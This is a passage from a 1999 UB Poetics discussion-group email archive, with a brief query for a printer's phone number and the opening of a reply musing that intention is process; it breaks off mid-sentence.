Subject: Query Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Anybody out there got a phone number for Lithocrafters? ========================================================================= Date: Mon, 5 Apr 1999 12:32:07 PDT Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Michael Krebs Subject: Re: Poetics In A Gaseous State MIME-Version: 1.0 Content-Type: text/plain Nice. I like to think intention is process. It is movement toward motion. And everyone can continue saying stuff. The world may not be safer with a world